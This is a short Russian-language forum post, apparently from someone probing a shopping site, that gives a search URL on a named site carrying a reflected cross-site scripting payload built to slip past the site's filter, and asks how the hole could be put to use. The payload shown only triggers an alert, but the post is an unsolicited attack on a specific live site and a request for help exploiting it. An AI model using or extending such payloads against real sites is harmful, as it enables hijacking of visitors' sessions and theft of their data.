http://www.prodayka.ru/search.php?do_search=Search&searchword=%22%>+javas c<script<>ript:alert(a)

фильтрация стоит, но в принципе обходимая. вписать можно что угодно, просто показал пример обхода фильтрации.
можно как либо использовать подобное?